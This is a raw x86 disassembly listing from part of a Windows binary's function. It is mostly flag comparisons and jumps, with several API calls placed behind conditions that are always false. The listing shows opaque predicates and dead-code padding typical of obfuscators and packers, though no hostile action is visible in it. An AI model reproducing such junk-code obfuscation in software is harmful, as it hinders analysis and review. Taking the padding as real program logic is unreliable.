jne 0x462356
and dword [ebp - 0x17f8], 0
jmp 0x462360
mov dword [ebp - 0x17f8], 1
push 2
lea ecx, [ebp - 0x86c]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x17f8]
cmp ecx, dword [eax]
jg 0x462383
mov dword [ebp - 0x2118], 1
jmp 0x46238a
and dword [ebp - 0x2118], 0
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x2b50], eax
mov eax, 0x23ce
test eax, eax
je 0x4623bd
push 1
lea ecx, [ebp - 0x86c]
call fcn.0042ed1e
cmp dword [eax], 0
je 0x4623bd
mov dword [ebp - 0xc18], 1
jmp 0x4623c4
and dword [ebp - 0xc18], 0
mov eax, dword [ebp - 0xc18]
mov dword [ebp - 0x368], eax
cmp dword [ebp - 0x368], 0xfb96
jle 0x4623e8
mov dword [ebp - 0x1800], 1
jmp 0x4623ef
and dword [ebp - 0x1800], 0
cmp dword [ebp - 0x1800], 6
ja 0x462404
mov dword [ebp - 0xc20], 1
jmp 0x46240b
and dword [ebp - 0xc20], 0
mov eax, dword [ebp - 0xb8]
imul eax, dword [ebp - 0xc20]
test eax, eax
jne 0x462437
push 2
lea ecx, [ebp - 0x86c]
call fcn.0042ed1e
cmp dword [eax], 0
jne 0x462437
and dword [ebp - 0x1808], 0
jmp 0x462441
mov dword [ebp - 0x1808], 1
push 0
lea ecx, [ebp - 0x86c]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x1808]
cmp ecx, dword [eax]
jle 0x462464
mov dword [ebp - 0xc28], 1
jmp 0x46246b
and dword [ebp - 0xc28], 0
push 2
lea ecx, [ebp - 0x86c]
call fcn.0042ed1e
mov ecx, dword [ebp - 0xc28]
imul ecx, dword [eax]
test ecx, ecx
je 0x4624ac
push 1
lea ecx, [ebp - 0x86c]
call fcn.0042ed1e
cmp dword [eax], 0
je 0x4624ac
cmp dword [ebp - 0xb8], 0
je 0x4624ac
mov dword [ebp - 0x1810], 1
jmp 0x4624b3
and dword [ebp - 0x1810], 0
mov eax, dword [ebp - 0x1810]
mov dword [ebp - 0x1ac], eax
push 0xfffffffffffffff9
pop eax
cmp eax, 0xeb945924
jbe 0x4624d2
and dword [ebp - 0xc30], 0
jmp 0x4624dc
mov dword [ebp - 0xc30], 1
push 0
lea ecx, [ebp - 0xb38]
call fcn.0042ed1e
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc30]
lea eax, [ecx + eax - 0x1c5adf81]
cmp eax, dword [ebp - 0xb8]
jl 0x46250c
mov dword [ebp - 0x1818], 1
jmp 0x462513
and dword [ebp - 0x1818], 0
push 1
lea ecx, [ebp - 0x86c]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x1818]
cmp ecx, dword [eax]
jg 0x462536
mov dword [ebp - 0xc38], 1
jmp 0x46253d
and dword [ebp - 0xc38], 0
push 0
lea ecx, [ebp - 0xb38]
call fcn.0042ed1e
mov ecx, dword [ebp - 0xc38]
imul ecx, dword [eax]
test ecx, ecx
je 0x462578
mov byte [ebp - 0x213], 0
movzx eax, byte [ebp - 0x213]
test eax, eax
je 0x462573
push 0
push 0
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
jmp 0x4626aa
mov dword [ebp - 0x564], 0
jmp 0x462591
mov eax, dword [ebp - 0x564]
inc eax
mov dword [ebp - 0x564], eax
cmp dword [ebp - 0x564], 4
jge 0x4625ad
mov eax, dword [ebp - 0x564]
mov dword [ebp + eax*4 - 0x2548], 1
jmp 0x462584
mov byte [ebp - 0x2f5], 0
movzx eax, byte [ebp - 0x2f5]
test eax, eax
je 0x4625da
push 0
push 0
push 0x570
push 0x881
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2548], 0
je 0x46267b
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2548]
mov dword [ebp - 0x2850], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2548], 0
jne 0x46266f
push 0
lea ecx, [ebp - 0xa84]
call fcn.0042ed1e
mov dword [eax], 1
push 0
lea ecx, [ebp - 0xa84]
call fcn.0042ed1e
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x2548]
cmp dword [eax], ecx
jne 0x46264e
mov dword [ebp - 0x1820], 1
jmp 0x462655
and dword [ebp - 0x1820], 0
mov eax, dword [ebp - 0x1820]
add eax, 0x5a420697
push 4
pop ecx
imul ecx, ecx, 3
cmp eax, dword [ebp + ecx - 0x2548]
jl 0x46267b
mov dword [ebp - 0xc40], 1
jmp 0x462682
and dword [ebp - 0xc40], 0
cmp dword [ebp - 0xc40], 0xffffffff
jne 0x462697
mov dword [ebp - 0x1828], 1
jmp 0x46269e
and dword [ebp - 0x1828], 0
mov eax, dword [ebp - 0x1ac]
mov dword [ebp - 0x1ac], eax
push 2
lea ecx, [ebp - 0x86c]
call fcn.0042ed1e
cmp dword [eax], 0
je 0x4626d1
cmp dword [ebp - 0x368], 0
je 0x4626d1
mov dword [ebp - 0xc50], 1
jmp 0x4626d8
and dword [ebp - 0xc50], 0
push 1
lea ecx, [ebp - 0xa84]
call fcn.0042ed1e
cmp dword [eax], 0
jne 0x462737
cmp dword [ebp - 0xa34], 0
je 0x462706
mov esi, dword [ebp - 0x24c]
push 1
lea ecx, [ebp - 0xa84]
call fcn.0042ed1e
push 0
lea ecx, [ebp - 0xb38]
call fcn.0042ed1e
cmp dword [eax], 0xffffffff
jle 0x462725
push 0
lea ecx, [ebp - 0xb38]
call fcn.0042ed1e
cmp dword [ebp - 0x24c], 0
jne 0x462737
and dword [ebp - 0xc48], 0
jmp 0x462741
mov dword [ebp - 0xc48], 1
mov eax, dword [ebp - 0xc48]
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0
jne 0x462771
push 0
lea ecx, [ebp - 0x86c]
call fcn.0042ed1e
cmp dword [eax], 0
jne 0x462771
and dword [ebp - 0x1830], 0
jmp 0x46277b
mov dword [ebp - 0x1830], 1
mov eax, dword [ebp - 0x1830]
mov dword [ebp - 0x24c], eax
mov eax, dword [ebp - 0x24c]
mov dword [ebp - 0x3d0], eax
mov eax, dword [ebp - 0x2120]
mov dword [ebp - 0x56c], eax
mov eax, dword [ebp - 0x56c]
mov ecx, dword [ebp - 0xc50]
lea esi, [ecx + eax - 2]
push 0
lea ecx, [ebp - 0xb38]
call fcn.0042ed1e
cmp esi, dword [eax]
jg 0x4627db
push 0
lea ecx, [ebp - 0xb38]
call fcn.0042ed1e
cmp dword [eax], 0
jne 0x4627db
and dword [ebp - 0x1838], 0
jmp 0x4627e5
mov dword [ebp - 0x1838], 1
push 0
lea ecx, [ebp - 0xa84]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x1838]
cmp ecx, dword [eax]
jg 0x46281a
push 0
lea ecx, [ebp - 0xa84]
call fcn.0042ed1e
cmp dword [eax], 0
je 0x46281a
mov dword [ebp - 0xc58], 1
jmp 0x462821
and dword [ebp - 0xc58], 0
cmp dword [ebp - 0xc58], 0xfbb2
jge 0x462839
mov dword [ebp - 0x1840], 1
jmp 0x462840
and dword [ebp - 0x1840], 0
mov eax, dword [ebp - 0x1840]
sub eax, 0xddf8
je 0x462862
cmp dword [ebp - 0x1ac], 0
je 0x462862
mov dword [ebp - 0x2128], 1
jmp 0x462869
and dword [ebp - 0x2128], 0
push 0
lea ecx, [ebp - 0xb38]
call fcn.0042ed1e
mov esi, eax
push 0
lea ecx, [ebp - 0xa84]
call fcn.0042ed1e
mov ecx, dword [esi]
cmp ecx, dword [eax]
jne 0x462897
mov dword [ebp - 0xc60], 1
jmp 0x46289e
and dword [ebp - 0xc60], 0
push 0
lea ecx, [ebp - 0xa84]
call fcn.0042ed1e
mov ecx, dword [ebp - 0xc60]
cmp ecx, dword [eax]
je 0x4628c1
mov dword [ebp - 0x1848], 1
jmp 0x4628c8
and dword [ebp - 0x1848], 0
push 0
lea ecx, [ebp - 0xb38]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x1848]
cmp ecx, dword [eax]
je 0x4628eb
mov dword [ebp - 0xc68], 1
jmp 0x4628f2
and dword [ebp - 0xc68], 0
mov eax, dword [ebp - 0xc68]
mov dword [ebp - 0x368], eax
mov eax, dword [ebp - 0xa34]
cmp dword [ebp - 0x368], eax
jne 0x46291f
push 0xfffffffffffffffa
pop eax
test eax, eax
je 0x46291f
mov dword [ebp - 0x1850], 1
jmp 0x462926
and dword [ebp - 0x1850], 0
cmp dword [ebp - 0x1850], 2
jne 0x46294d
push 2
lea ecx, [ebp - 0x86c]
call fcn.0042ed1e
cmp dword [eax], 0
je 0x46294d
mov dword [ebp - 0xc70], 1
jmp 0x462954
and dword [ebp - 0xc70], 0
mov eax, dword [ebp - 0xa34]
cmp dword [ebp - 0xc70], eax
je 0x462a6a
mov dword [ebp - 0x7b0], 0x35acb962
mov dword [ebp - 0x1858], 0xffffffff
mov dword [ebp - 0x2138], 1
mov eax, dword [ebp - 0x7b0]
mov dword [ebp - 0x1858], eax
mov eax, dword [ebp - 0x1858]
mov dword [ebp - 0x2858], eax
push 0
lea ecx, [ebp - 0xa84]
call fcn.0042ed1e
cmp dword [eax], 0
je 0x4629c3
cmp dword [ebp - 0x24c], 0
je 0x4629c3
mov dword [ebp - 0xc78], 1
jmp 0x4629ca
and dword [ebp - 0xc78], 0
mov eax, dword [ebp - 0x2130]
imul eax, dword [ebp - 0xc78]
sub eax, dword [ebp - 0x7b0]
cmp eax, dword [ebp - 0x7b0]
jle 0x4629f1
mov dword [ebp - 0x1860], 1
jmp 0x4629f8
and dword [ebp - 0x1860], 0
mov eax, dword [ebp - 0x7b0]
cmp dword [ebp - 0x1860], eax
jg 0x462a12
mov dword [ebp - 0xc80], 1
jmp 0x462a19
and dword [ebp - 0xc80], 0
mov dword [ebp - 0x3d0], 0xffffffff
mov eax, dword [ebp - 0xc80]
mov dword [ebp - 0x1ac], eax
mov eax, dword [ebp - 0x1ac]
cmp dword [ebp - 0x3d0], eax
jg 0x462a49
mov dword [ebp - 0x1868], 1
jmp 0x462a50
and dword [ebp - 0x1868], 0
mov eax, dword [ebp - 0x1868]
mov dword [ebp - 0x56c], eax
mov eax, dword [ebp - 0x56c]
mov dword [ebp - 0x2138], eax
jmp 0x462ab8
push 2
lea ecx, [ebp - 0x86c]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x3d0]
cmp dword [eax], ecx
jne 0x462a8d
mov dword [ebp - 0xc88], 1
jmp 0x462a94
and dword [ebp - 0xc88], 0
mov eax, dword [ebp - 0xc88]
mov dword [ebp - 0x24c], eax
mov eax, dword [ebp - 0x24c]
mov dword [ebp - 0x3d0], eax
mov eax, dword [ebp - 0x3d0]
mov dword [ebp - 0x368], eax
lea ecx, [ebp - 0xa84]
call fcn.0042ed02
lea ecx, [ebp - 0xb38]
call fcn.0042ed02
lea ecx, [ebp - 0x86c]
call fcn.0042ed02
push 1
lea ecx, [ebp - 0x22a8]
call fcn.0042ed1e
cmp dword [eax], 0
je 0x462af0
jmp 0x461990
jmp 0x461990
lea ecx, [ebp - 0x22a8]
call fcn.0042ed02
mov dword [ebp - 0xe0], 0xfffffffd
mov dword [ebp - 0x2140], 0xed7c6ae4
mov dword [ebp - 0x2148], 0xec1b16eb
mov dword [ebp - 0xe0], 0x19
jmp 0x462b37
mov eax, dword [ebp - 0xe0]
dec eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0xb
jl 0x462cfb
mov dword [ebp - 0xca8], 0xdf94
push 2
lea ecx, [ebp - 0x268c]
call fcn.0042ec30
mov dword [ebp - 0x1888], 0x60d64c9d
mov dword [ebp - 0x6f8], 0
jmp 0x462b7e
mov eax, dword [ebp - 0x6f8]
inc eax
mov dword [ebp - 0x6f8], eax
cmp dword [ebp - 0x6f8], 2
jge 0x462ba0
push dword [ebp - 0x6f8]
lea ecx, [ebp - 0x268c]
call fcn.0042ed1e
mov dword [eax], 6
jmp 0x462b71
mov eax, 0x7c8a6b95
test eax, eax
je 0x462cb7
cmp dword [ebp - 0xe0], 1
jle 0x462bc2
mov dword [ebp - 0x1878], 1
jmp 0x462bc9
and dword [ebp - 0x1878], 0
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x2860], eax
mov eax, dword [ebp - 0xe0]
imul eax, dword [ebp - 0x2140]
cmp eax, dword [ebp - 0xca8]
jne 0x462bf6
mov dword [ebp - 0x1870], 1
jmp 0x462bfd
and dword [ebp - 0x1870], 0
push 1
lea ecx, [ebp - 0x268c]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x1870]
cmp ecx, dword [eax]
jne 0x462c20
mov dword [ebp - 0xc90], 1
jmp 0x462c27
and dword [ebp - 0xc90], 0
mov eax, dword [ebp - 0xc90]
mov ecx, dword [ebp - 0x1878]
lea eax, [ecx + eax + 0x1137f0df]
cmp eax, dword [ebp - 0xe0]
jl 0x462c4e
mov dword [ebp - 0xc98], 1
jmp 0x462c55
and dword [ebp - 0xc98], 0
cmp dword [ebp - 0xc98], 0
jne 0x462c6a
mov dword [ebp - 0x1880], 1
jmp 0x462c71
and dword [ebp - 0x1880], 0
mov eax, dword [ebp - 0xe0]
cmp dword [ebp - 0x1880], eax
jne 0x462c8b
mov dword [ebp - 0xca0], 1
jmp 0x462c92
and dword [ebp - 0xca0], 0
mov eax, dword [ebp - 0xca0]
mov dword [ebp - 0x1888], eax
cmp dword [ebp - 0x1888], 0
je 0x462cb7
xor eax, eax
je 0x462cb7
mov dword [ebp - 0x1890], 1
jmp 0x462cbe
and dword [ebp - 0x1890], 0
mov eax, dword [ebp - 0xca8]
cmp dword [ebp - 0x1890], eax
jge 0x462cd8
mov dword [ebp - 0xcb0], 1
jmp 0x462cdf
and dword [ebp - 0xcb0], 0
mov eax, dword [ebp - 0xcb0]
mov dword [ebp - 0x2148], eax
lea ecx, [ebp - 0x268c]
call fcn.0042ed02
jmp 0x462b2a
push 1
lea eax, [ebp - 0x3038]
push eax
xor edx, edx
inc edx
xor ecx, ecx
call fcn.0045d64b
pop ecx
pop ecx
mov esi, eax
lea edi, [ebp - 0x2f10]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea esi, [ebp - 0x2f10]
lea edi, [ebp - 0x2468]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x18c], 0x398070a
mov dword [ebp - 0x90], 0xfffffffc
mov dword [ebp - 0xa4c], 0xfffffffd
mov dword [ebp - 0xa3c], 1
mov eax, dword [ebp - 0x18c]
cmp dword [ebp - 0x18c], eax
jne 0x462d6c
mov dword [ebp - 0x2150], 1
jmp 0x462d73
and dword [ebp - 0x2150], 0
cmp dword [ebp - 0x18c], 0
je 0x462d8e
mov eax, dword [ebp - 0x90]
dec eax
mov dword [ebp - 0x90], eax
jmp 0x462eae
mov dword [ebp - 0x2158], 0xffffffff
mov dword [ebp - 0x90], 0x10
jmp 0x462db1
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0x1c
jg 0x462eae
mov dword [ebp - 0x2160], 0
mov dword [ebp - 0x25e4], 0x4a0d461e
mov dword [ebp - 0x25e0], 0x4a0d461e
mov dword [ebp - 0x25dc], 0x4a0d461e
mov dword [ebp - 0x25d8], 0x4a0d461e
lea ecx, [ebp - 0x9f1]
call fcn.0042ed2d
push eax
lea eax, [ebp - 0x25d4]
push eax
lea eax, [ebp - 0x25e4]
push eax
lea ecx, [ebp - 0x2f84]
call fcn.0042ed30
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x2f70]
call fcn.0042ecdc
mov eax, dword [ebp - 0x2158]
mov dword [ebp - 0x2160], eax
mov dword [ebp - 0x18c], 0
jmp 0x462e4a
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 3
jg 0x462e9e
mov byte [ebp - 0x215], 0
movzx eax, byte [ebp - 0x215]
test eax, eax
je 0x462e7e
push 0x85f
push 0
push 0x902
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextA]
mov byte [ebp - 0x341], 0
movzx eax, byte [ebp - 0x341]
test eax, eax
je 0x462e9c
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysFreeString]
jmp 0x462e3d
lea ecx, [ebp - 0x2f70]
call fcn.0042ed02
jmp 0x462da4
mov dword [ebp - 0x90], 0
jmp 0x462ec7
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 4
jne 0x46304d
mov dword [ebp - 0x1b8], 8
mov eax, dword [ebp - 0x1b8]
imul eax, dword [ebp - 0x1b8]
cmp eax, 0xfffffffc
jg 0x462efc
mov dword [ebp - 0x1898], 1
jmp 0x462f03
and dword [ebp - 0x1898], 0
mov eax, dword [ebp - 0x1898]
mov dword [ebp - 0xa4c], eax
mov eax, dword [ebp - 0xa4c]
mov dword [ebp - 0xa3c], eax
cmp dword [ebp - 0xa3c], 0
je 0x462f37
push 9
pop eax
test eax, eax
je 0x462f37
mov dword [ebp - 0x2168], 1
jmp 0x462f3e
and dword [ebp - 0x2168], 0
mov eax, dword [ebp - 0x1b8]
mov dword [ebp - 0x2868], eax
mov eax, dword [ebp - 0x1b8]
mov dword [ebp - 0x2870], eax
cmp dword [ebp - 0x1b8], 0x7509
jle 0x462f6e
mov dword [ebp - 0xcb8], 1
jmp 0x462f75
and dword [ebp - 0xcb8], 0
cmp dword [ebp - 0xcb8], 0xbd18
jl 0x462f8d
mov dword [ebp - 0x18a0], 1
jmp 0x462f94
and dword [ebp - 0x18a0], 0
mov eax, dword [ebp - 0x1b8]
cmp eax, dword [ebp - 0x18a0]
jl 0x463020
mov dword [ebp - 0xa44], 0xfffffffc
mov eax, dword [ebp - 0x1b8]
sub eax, dword [ebp - 0x18c]
je 0x462fe7
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x2878], eax
mov eax, dword [ebp - 0x1b8]
mov dword [ebp - 0x2880], eax
cmp dword [ebp - 0xa3c], 0
je 0x462fe7
mov dword [ebp - 0xcc0], 1
jmp 0x462fee
and dword [ebp - 0xcc0], 0
mov eax, dword [ebp - 0xcc0]
mov dword [ebp - 0xa44], eax
mov eax, dword [ebp - 0xa44]
mov dword [ebp - 0x2888], eax
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0x2890], eax
mov eax, dword [ebp - 0xa44]
mov dword [ebp - 0xa4c], eax
jmp 0x463048
mov byte [ebp - 0x217], 0
movzx eax, byte [ebp - 0x217]
test eax, eax
je 0x463048
push 0
push 0
push 0x23e9
push 0xe97
push 0
call dword [sym.imp.USER32.dll_InsertMenuA]
jmp 0x462eba
mov dword [ebp - 0x700], 0x7c87
mov dword [ebp - 0x5c], 0xffffffff
or dword [ebp - 0x25bc], 0xffffffff
or dword [ebp - 0x25b8], 0xffffffff
or dword [ebp - 0x25b4], 0xffffffff
or dword [ebp - 0x25b0], 0xffffffff
lea ecx, [ebp - 0xb15]
call fcn.0042ed2d
push eax
lea eax, [ebp - 0x25ac]
push eax
lea eax, [ebp - 0x25bc]
push eax
lea ecx, [ebp - 0x2fbc]
call fcn.0042ed30
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xba0]
call fcn.0042ecdc
mov dword [ebp - 0x3b0], 0xffffffff
push 1
lea ecx, [ebp - 0x22c8]
call fcn.0042ec30
mov dword [ebp - 0x43c], 0xf0b53cf5
mov dword [ebp - 0xa5c], 0xffffffff
mov dword [ebp - 0xd10], 0
mov dword [ebp - 0x574], 0
jmp 0x4630fd
mov eax, dword [ebp - 0x574]
inc eax
mov dword [ebp - 0x574], eax
cmp dword [ebp - 0x574], 1
jge 0x46311f
push dword [ebp - 0x574]
lea ecx, [ebp - 0x22c8]
call fcn.0042ed1e
mov dword [eax], 0xfffffff7
jmp 0x4630f0
cmp dword [ebp - 0x700], 0
je 0x46316d
mov eax, dword [ebp - 0x3b0]
dec eax
mov dword [ebp - 0x3b0], eax
push 1
lea ecx, [ebp - 0xba0]
call fcn.0042ed1e
cmp dword [eax], 0x7d63
je 0x463156
mov dword [ebp - 0x18a8], 1
jmp 0x46315d
and dword [ebp - 0x18a8], 0
push 1
lea ecx, [ebp - 0xba0]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x5c]
push 1
lea ecx, [ebp - 0xba0]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x5c]
cmp dword [eax], ecx
jle 0x46318d
mov dword [ebp - 0xa54], 1
jmp 0x463194
and dword [ebp - 0xa54], 0
push 1
lea ecx, [ebp - 0xba0]
call fcn.0042ed1e
mov ecx, dword [ebp - 0xa54]
mov dword [eax], ecx
imul eax, dword [ebp - 0xa54], 0xf89
cmp eax, dword [ebp - 0x5c]
jne 0x46350d
mov dword [ebp - 0xd00], 4
mov dword [ebp - 0x18b0], 0x4acc0136
mov dword [ebp - 0x57c], 0x3da550e8
mov dword [ebp - 0x2898], 0xb6f85a06
push 1
lea ecx, [ebp - 0x22b8]
call fcn.0042ec30
mov dword [ebp - 0x2170], 8
mov dword [ebp - 0x838], 0
jmp 0x463214
mov eax, dword [ebp - 0x838]
inc eax
mov dword [ebp - 0x838], eax
cmp dword [ebp - 0x838], 1
jge 0x463233
push dword [ebp - 0x838]
lea ecx, [ebp - 0x22b8]
call fcn.0042ed1e
and dword [eax], 0
jmp 0x463207
mov eax, dword [ebp - 0x43c]
mov ecx, dword [ebp - 0x2170]
mov edx, dword [ebp - 0x43c]
dec edx
mov dword [ebp - 0x43c], edx
cmp ecx, eax
je 0x4632e1
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x57c], eax
je 0x46326b
mov dword [ebp - 0xcc8], 1
jmp 0x463272
and dword [ebp - 0xcc8], 0
mov eax, dword [ebp - 0xcc8]
mov dword [ebp - 0x18b0], eax
mov eax, dword [ebp - 0x18b0]
add eax, dword [ebp - 0x5c]
je 0x46329b
cmp dword [ebp - 0x5c], 0
je 0x46329b
mov dword [ebp - 0xcd0], 1
jmp 0x4632a2
and dword [ebp - 0xcd0], 0
cmp dword [ebp - 0xcd0], 0x350d55fa
jl 0x4632c0
cmp dword [ebp - 0x700], 0
jne 0x4632c0
and dword [ebp - 0x18b8], 0
jmp 0x4632ca
mov dword [ebp - 0x18b8], 1
mov eax, dword [ebp - 0x3b0]
cmp dword [ebp - 0x18b8], eax
jle 0x4632e1
and dword [ebp - 0xcd8], 0
jmp 0x4632eb
mov dword [ebp - 0xcd8], 1
mov eax, dword [ebp - 0x700]
imul eax, dword [ebp - 0xcd8]
cmp eax, dword [ebp - 0x57c]
jne 0x46330c
mov dword [ebp - 0x2178], 1
jmp 0x463313
and dword [ebp - 0x2178], 0
mov eax, dword [ebp - 0x3b0]
mov dword [ebp - 0x28a0], eax
mov esi, dword [ebp - 0xa5c]
push 0
lea ecx, [ebp - 0x22b8]
call fcn.0042ed1e
cmp esi, dword [eax]
jge 0x463342
mov dword [ebp - 0x18c0], 1
jmp 0x463349
and dword [ebp - 0x18c0], 0
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x18c0], eax
jl 0x463360
mov dword [ebp - 0xce0], 1
jmp 0x463367
and dword [ebp - 0xce0], 0
push 1
lea ecx, [ebp - 0xba0]
call fcn.0042ed1e
mov ecx, dword [ebp - 0xce0]
cmp ecx, dword [eax]
jg 0x46338a
mov dword [ebp - 0x18c8], 1
jmp 0x463391
and dword [ebp - 0x18c8], 0
mov esi, dword [ebp - 0x5c]
imul esi, dword [ebp - 0x18c8]
push 0
lea ecx, [ebp - 0x22b8]
call fcn.0042ed1e
cmp esi, dword [eax]
jg 0x4633b8
mov dword [ebp - 0xce8], 1
jmp 0x4633bf
and dword [ebp - 0xce8], 0
mov eax, dword [ebp - 0xd00]
cmp eax, dword [ebp - 0xce8]
jg 0x4633d9
mov dword [ebp - 0x18d0], 1
jmp 0x4633e0
and dword [ebp - 0x18d0], 0
mov eax, dword [ebp - 0x18d0]
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 1
jae 0x4633fb
mov dword [ebp - 0xcf0], 1
jmp 0x463402
and dword [ebp - 0xcf0], 0
mov eax, dword [ebp - 0x57c]
cmp dword [ebp - 0xcf0], eax
jg 0x46341c
mov dword [ebp - 0x2180], 1
jmp 0x463423
and dword [ebp - 0x2180], 0
push 0
lea ecx, [ebp - 0x22c8]
call fcn.0042ed1e
mov dword [ebp - 0x18d8], eax
mov eax, dword [ebp - 0x18d8]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x18d8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x57c]
cmp dword [ebp - 0x3b0], eax
jne 0x463461
mov dword [ebp - 0xcf8], 1
jmp 0x463468
and dword [ebp - 0xcf8], 0
cmp dword [ebp - 0xcf8], 6
ja 0x46347d
mov dword [ebp - 0x18e0], 1
jmp 0x463484
and dword [ebp - 0x18e0], 0
imul eax, dword [ebp - 0x18e0], 0xfffffff6
cmp dword [ebp - 0xd00], eax
jle 0x46349f
mov dword [ebp - 0x18e8], 1
jmp 0x4634a6
and dword [ebp - 0x18e8], 0
cmp dword [ebp - 0x18e8], 0xffffffff
jne 0x4634bb
mov dword [ebp - 0xd08], 1
jmp 0x4634c2
and dword [ebp - 0xd08], 0
push 0
lea ecx, [ebp - 0x22b8]
call fcn.0042ed1e
mov ecx, dword [ebp - 0xd08]
mov dword [eax], ecx
mov byte [ebp - 0x2fd], 0
movzx eax, byte [ebp - 0x2fd]
test eax, eax
je 0x463500
push 0xffa
push 0x25dc
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongW]
lea ecx, [ebp - 0x22b8]
call fcn.0042ed02
jmp 0x463538
mov byte [ebp - 0x219], 0
movzx eax, byte [ebp - 0x219]
test eax, eax
je 0x463538
push 0
push 0xc09
push 0
push 0x3b5
push 0x1432
call dword [sym.imp.GDI32.dll_ExtCreatePen]
mov eax, dword [ebp - 0x43c]
mov dword [ebp - 0x28a8], eax
mov dword [ebp - 0x5c], 0xfffffffb
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x28b0], eax
push 2
lea ecx, [ebp - 0xba0]
call fcn.0042ed1e
push 0
lea ecx, [ebp - 0x22c8]
call fcn.0042ed1e
cmp dword [ebp - 0xa5c], 0x878d
cmp dword [ebp - 0xa5c], 0xa128
jl 0x463590
mov dword [ebp - 0x18f0], 1
jmp 0x463597
and dword [ebp - 0x18f0], 0
mov eax, dword [ebp - 0x3b0]
mov ecx, dword [ebp - 0x700]
imul ecx, dword [ebp - 0x18f0]
add eax, ecx
mov dword [ebp - 0xd10], eax
mov eax, dword [ebp - 0x43c]
cmp dword [ebp - 0xd10], eax
je 0x4635cc
mov dword [ebp - 0x18f8], 1
jmp 0x4635d3
and dword [ebp - 0x18f8], 0
push 0
lea ecx, [ebp - 0x22c8]
call fcn.0042ed1e
mov eax, dword [eax]
add eax, dword [ebp - 0x18f8]
jne 0x463605
push 1
lea ecx, [ebp - 0xba0]
call fcn.0042ed1e
cmp dword [eax], 0
jne 0x463605
and dword [ebp - 0xd18], 0
jmp 0x46360f
mov dword [ebp - 0xd18], 1
push 1
lea ecx, [ebp - 0xba0]
call fcn.0042ed1e
mov ecx, dword [ebp - 0xd18]
mov dword [eax], ecx
lea ecx, [ebp - 0x22c8]
call fcn.0042ed02
lea ecx, [ebp - 0xba0]
call fcn.0042ed02
push 1
lea ecx, [ebp - 0x2450]
call fcn.0042ec30
mov dword [ebp - 0x370], 0x60b4ffb8
mov dword [ebp - 0x584], 0
jmp 0x46366a
mov eax, dword [ebp - 0x584]
inc eax
mov dword [ebp - 0x584], eax
cmp dword [ebp - 0x584], 1
jge 0x46368c
push dword [ebp - 0x584]
lea ecx, [ebp - 0x2450]
call fcn.0042ed1e
mov dword [eax], 0xfffc
jmp 0x46365d
mov byte [ebp - 0x343], 0
movzx eax, byte [ebp - 0x343]
test eax, eax
je 0x4636a6
push 0
call dword [sym.imp.USER32.dll_GetMenuItemCount]
mov dword [ebp - 0x370], 0
jmp 0x4636bf
mov eax, dword [ebp - 0x370]
dec eax
mov dword [ebp - 0x370], eax
cmp dword [ebp - 0x370], 0
jl 0x4636f2
push dword [ebp - 0x370]
lea ecx, [ebp - 0x2450]
call fcn.0042ed1e
mov esi, eax
push dword [ebp - 0x370]
lea ecx, [ebp - 0x2450]
call fcn.0042ed1e
mov ecx, dword [esi]
mov dword [eax], ecx
jmp 0x4636b2
lea ecx, [ebp - 0x2450]
call fcn.0042ed02
mov dword [ebp - 0x78], 0xfffffff7
mov dword [ebp - 0x378], 0xfffffffe
mov dword [ebp - 0xa8], 0x2c03342e
mov dword [ebp - 0xa8], 0xffffffe7
jmp 0x463731
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0xfffffffa
jl 0x463766
mov byte [ebp - 0x21b], 0
movzx eax, byte [ebp - 0x21b]
test eax, eax
je 0x463759
push 0x9b6
push 0
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
cmp dword [ebp - 0xa8], 0
je 0x463764
jmp 0x463766
jmp 0x463724
mov dword [ebp - 0xa8], 0xfffffff1
jmp 0x46377f
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0x12
jne 0x463947
mov dword [ebp - 0x3f0], 0x72226312
